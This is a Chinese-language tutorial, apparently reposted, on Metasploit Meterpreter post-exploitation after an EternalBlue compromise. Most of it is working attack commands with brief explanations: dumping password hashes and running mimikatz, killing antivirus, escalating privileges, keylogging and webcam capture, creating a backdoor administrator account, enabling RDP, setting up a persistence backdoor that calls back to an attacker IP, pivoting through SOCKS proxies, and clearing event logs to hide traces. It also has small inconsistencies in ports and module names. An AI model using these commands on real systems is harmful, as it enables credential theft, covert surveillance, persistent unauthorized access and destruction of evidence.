Metasploit簡單使用——后滲透階段


在上文中我們復現了永恆之藍漏洞,這里我們學習一下利用msf簡單的后滲透階段的知識/

 

一、meterperter常用命令

sysinfo             #查看目標主機系統信息
run scraper         #查看目標主機詳細信息
run hashdump        #導出密碼的哈希
load kiwi           #加載mimikatz
ps                  #查看目標主機進程信息
pwd                 #查看目標當前目錄(windows)
getlwd              #查看目標當前目錄(Linux)
search -f *.jsp -d e:\ #搜索E盤中所有以.jsp為后綴的文件 download e:\test.txt /root #將目標機的e:\test.txt文件下載到/root目錄下 upload /root/test.txt d:\test #將/root/test.txt上傳到目標機的 d:\test\ 目錄下 getpid #查看當前Meterpreter Shell的進程PID migrate 1384 #將當前Meterpreter Shell的進程遷移到PID為1384的進程上 idletime #查看主機運行時間 getuid #查看獲取的當前權限 getsystem #提權 run killav/run post/windows/manage/killav #關閉殺毒軟件 screenshot #截圖 webcam_list #查看目標主機的攝像頭 webcam_snap #拍照 webcam_stream #開視頻 execute 參數 -f 可執行文件 #執行可執行程序 run getgui -u hack -p 123 #創建hack用戶,密碼為123 run getgui -e #開啟遠程桌面 keyscan_start #開啟鍵盤記錄功能 keyscan_dump #顯示捕捉到的鍵盤記錄信息 keyscan_stop #停止鍵盤記錄功能 uictl disable keyboard #禁止目標使用鍵盤 uictl enable keyboard #允許目標使用鍵盤 uictl disable mouse #禁止目標使用鼠標 uictl enable mouse #允許目標使用鼠標 load #使用擴展庫 run #使用擴展庫 run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反彈時間間隔是5s 會自動連接192.168.1.114的4444端口,缺點是容易被殺毒軟件查殺 portfwd add -l 3389 -r 192.168.11.13 -p 3389 #將192.168.11.13的3389端口轉發到本地的3389端口上,這里的192.168.11.13是獲取權限的主機的ip地址 clearev #清除日志

 

 二、Post 后滲透模塊

該模塊主要用於在取得目標主機系統遠程控制權后,進行一系列的后滲透攻擊動作。

run post/windows/manage/migrate           #自動進程遷移
run post/windows/gather/checkvm           #查看目標主機是否運行在虛擬機上
run post/windows/manage/killav            #關閉殺毒軟件
run post/windows/manage/enable_rdp        #開啟遠程桌面服務
run post/windows/manage/autoroute         #查看路由信息
run post/windows/gather/enum_logged_on_users    #列舉當前登錄的用戶
run post/windows/gather/enum_applications       #列舉應用程序
run windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼
run windows/gather/smart_hashdump               #dump出所有用戶的hash

 

三、常用的命令

訪問文件系統

Meterpreter支持非常多的文件系統命令(基本跟Linux系統命令類似),一些常用命令如下:

cd:切換目標目錄;

cat:讀取文件內容;

rm:刪除文件;

edit:使用vim編輯文件

ls:獲取當前目錄下的文件;

mkdir:新建目錄;

rmdir:刪除目錄; 

 

上傳/下載文件

download  file 命令可以幫助我們從目標系統中下載文件

upload  file  命令則能夠向目標系統上傳文件。

 

權限提升

有的時候,你可能會發現自己的 Meterpreter 會話受到了用戶權限的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改注冊表、安裝后門或導出密碼等活動都需要提升用戶權限,而Meterpreter給我們提供了一個 getsystem 命令,它可以使用多種技術在目標系統中實現提權:

getuid  命令可以獲取當前用戶的信息,可以看到,當我們使用 getsystem進行提權后,用戶身材為  NT AUTHORITY\SYSTEM ,這個也就是Windows的系統權限。

注:執行getsystem命令后,會顯示錯誤,但是其實已經運行成功了!

 

獲取密碼(管理員權限)

1. run hashdump

2. run windows/gather/smart_hashdump

3. 自己上傳mimikatz

4. load kiwi——creds all

5. load mimikatz:①32位系統直接加載模塊 mimikatz_command -f sekurlsa::searchPasswords

                              ②64位系統先遷移meterpreter到64位的進程中,再加載模塊

1、很多用戶習慣將計算機設置自動登錄,可以使用  run windows/gather/credentials/windows_autologin 抓取自動登錄的用戶名和密碼

 

 

 2、hashdump 模塊可以從SAM數據庫中導出本地用戶賬號,執行:run hashdump ,該命令的使用需要系統權限

 

 

 還可以使用命令:run windows/gather/smart_hashdump  ,,該命令的使用需要系統權限,該功能更強大,可以導出域內所有用戶的hash

 

 

 3、我們還可以通過上傳mimikatz程序,然后執行mimikatz程序來獲取明文密碼。

 執行mimikatz必須System權限

 我們先getsystem提權至系統權限,然后執行  execute  -i  -f  mimikatz.exe ,進入mimikatz的交互界面。然后執行:

privilege::debug

sekurlsa::logonpasswords

4、加載kiwi模塊,該模塊的使用需要System權限,load kiwi  查看該kiwi模塊的用法:help kiwi

 

 

5、或者運行MSF里面自帶的 mimikatz 模塊 ,該模塊的使用需要System權限。傳送門:MSF中mimikatz模塊的使用

 

運行程序

使用  execute 命令在目標系統中執行應用程序。這個命令的使用方法如下:

execute  參數  -f 可執行文件  

運行后它將執行所指定的命令。可選參數如下:

-f:指定可執行文件

-H:創建一個隱藏進程

-a:傳遞給命令的參數

-i:  跟進程進行交互

-m:從內存中執行

-t: 使用當前偽造的線程令牌運行進程

-s: 在給定會話中執行進程

 

創建一個新賬號

先查看目標主機有哪些用戶:run post/windows/gather/enum_logged_on_users

 

 接下來,我們可以在目標系統中創建一個新的用戶賬號:run getgui -u hack -p 123,這個命令會創建用戶,並把他添加到 Administrators 組中,這樣該用戶就擁有遠程桌面的權限了。

 

 

 

 我們可以看到,這里成功創建了用戶,但是添加到Administrators組中失敗了 。我們可以運行:shell ,進行cmd窗口手動將該用戶添加到administrators組中。

 

 

 

 

啟用遠程桌面

當我們新添加的用戶已經擁有遠程桌面之后,我們就可以使用這個賬號憑證來開啟遠程桌面會話了。

 首先,我們需要確保目標Windows設備開啟了遠程桌面功能(需要開啟多個服務),不過我們的 getgui 腳本可以幫我們搞定。我們可以使用-e參數確保目標設備開啟了遠程桌面功能(重啟之后同樣會自動開啟),我們輸入: run getgui -e  或者  run post/windows/manage/enable_rdp

 在開啟遠程桌面會話之前,我們還需要使用“idletime”命令檢查遠程用戶的空閑時長: idletime

 

 

 

 

進程遷移

Meterpreter 既可以單獨運行,也可以與其他進程進行綁定。因此,我們可以讓Meterpreter與類似explorer.exe這樣的進程進行綁定,並以此來實現持久化。

在下面的例子中,我們會將Meterpreter跟 winlogon.exe 綁定,並在登錄進程中捕獲鍵盤記錄,以獲得用戶的密碼。

首先,我們需要使用: ps  命令查看目標設備中運行的進程:

 

 使用:migrate  目標進程ID 命令來綁定目標進程id,這里綁定目標pid的時候,經常會斷了 shell。進程遷移后會自動關閉原來進程,沒有關閉可使用  kill  pid  命令關閉進程。或者使用自動遷移進程(run post/windows/manage/migrate)命令,系統會自動尋找合適的進程然后遷移。

 

 綁定完成之后,我們就可以開始捕獲鍵盤數據了。

 

 

生成持續性后門

因為 meterpreter 是基於內存DLL建立的連接,所以,只要目標主機關機,我們的連接就會斷。總不可能我們每次想連接的時候,每次都去攻擊,然后再利用 meterpreter 建立連接。所以,我們得在目標主機系統內留下一個持續性的后門,只要目標主機開機了,我們就可以連接到該主機。

建立持續性后門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過 服務啟動(metsvc)

 

啟動項啟動

啟動項啟動的話,我們先生成一個后門工具,傳送門——> 用MSF生成一個后門木馬

然后放到windows的啟動目錄中:

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

這樣這個后門每次開機就都能啟動了,然后我們只要相連就監聽相應的端口就行了。

 

服務啟動

通過服務啟動,我們可以運行命令 

run persistence -X -i 5 -p 8888 -r 192.168.1.114  #反彈時間間隔是5s 會自動連接192.168.1.114的4444端口,缺點是容易被殺毒軟件查殺
 
#然后它就在目標機新建了這個文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,並把該服務加入了注冊表中,只要開機就會啟

 

設置Socks代理

這里socks模塊只是將代理設置為本地的1080端口,即通過proxychains的流量都轉給本地的1080端口,又因為這是MSF起的監聽端口。所以我們需要添加一個路由,這樣MSF監聽的1080端口就可以到達內網了。

MSF中有三個代理模塊,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進行代理。socks5可以設置用戶名和密碼。這里運行代理后,有時候MSF不會監聽端口(有可能是個bug,試了好多次都有這種情況),所以也就導致代理失敗。

#使用socks4a代理
use auxiliary/server/socks5
run
 
#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run
 
#然后打開/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@
 
#然后添加路由
route add 0.0.0.0 0.0.0.0 1
 
#然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打開其他程序前加上proxychains

 

portfwd端口轉發

 

portfwd add -l 3389 -r 192.168.1.114 -p 3389     #將192.168.1.114的3389端口轉發到本地的3389端口上,這里的192.168.1.114是獲取權限的主機的ip地址

portfwd 是meterpreter提供的一種基本的端口轉發。porfwd可以反彈單個端口到本地,並且監聽。

然后我們只要訪問本地的3389端口就可以連接到目標主機的3389端口了

rdesktop 127.0.0.1:3389

 

清除事件日志

完成攻擊操作之后,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日志文件之中,因此我們需要在完成攻擊之后使用命令  clearev  命令來清除事件日志:

 

導入並執行PowerShell腳本

load powershell            #加載powershell功能
powershell_import /root/PowerView.ps1      #導入powershell腳本,提前將該powershell腳本放到指定目錄
powershell_execute Get-NetDomain     #執行該腳本下的功能模塊Get-domain,該模塊用於獲取域信息,一個腳本下通常有多個功能模塊
powershell_execute Invoke-UserHunter  #該功能模塊用於定位域管理員登錄的主機
powershell_execute Get-NetForest      #該模塊用於定位域信息

如果powershell腳本是用於域內信息收集的,則獲取到的權限用戶需要是域用戶.

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM